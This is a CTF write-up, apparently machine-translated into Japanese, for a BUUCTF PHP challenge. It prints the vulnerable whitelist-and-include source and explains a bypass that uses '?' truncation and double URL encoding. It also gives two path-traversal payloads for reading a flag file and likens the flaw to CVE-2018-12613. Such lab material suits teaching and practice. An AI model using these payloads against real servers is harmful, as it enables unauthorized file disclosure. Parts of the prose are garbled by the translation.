buuctf射撃場:https://buuoj.cn/
タイトルを開いて大きな顔を見つける
ページのソースコードを確認してコメントを見つけてください
にアクセスするsource.php
と、次のソースコードを確認して分析できます。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//$whitelist数组存入两个变量
if (! isset($page) || !is_string($page)) {
//判断是否存在且是否为字符串类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
//判断与$whitelist是否匹配,不过很显然,我们不能在这里return,应为我们要的flag不在这两个文件中,当然,在这里还是能进行绕过的,下面会详细讲解
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page. '?', '?')//查找?出现在字符串中首次出现的位置
);
//截取字符串开始到?的位置,赋值到$_page变量中
//很显然,这里就可以绕过获取flag了
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//以上条件不成立,先进行一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//解码后重新再截取字符串开始到?的位置,赋值到$_page变量中
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//判断是否存在file变量
&& is_string($_REQUEST['file'])//判断file是否为字符串
&& emmm::checkFile($_REQUEST['file'])//将file变量带入emmm类里的checkFile执行
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
ヒント.phpが含まれ、フラグがffffllllaaaagggg
ファイルにある場合にヒントを与える
上記のコードを分析すると、2つの解決策があります
1.最初のmb_substrが検証されると、フラグの取得をバイパスできます。source.phpの後に1つ追加するだけで?
、傍受した文字列を検証のために$ _pageに割り当ててから、... / return The親ディレクトリにはフラグが含まれています。
ペイロード:
source.php?file=source.php?/../../../../ffffllllaaaagggg
2.2番目のmb_substrでバイパスすることもできます
ペイロード:
/source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
- %25はパーセント記号で
%
、%3f
URLは疑問符としてデコードされます?
- ブラウザはURLを1回デコードし、%25をにデコードし
%
ます。 - 次に、それを実行のためにphpコードに入れます。%3fを疑問符にデコードするためのurldecodeがあります。
?
この質問はCVE-2018-12613
脆弱性に似ています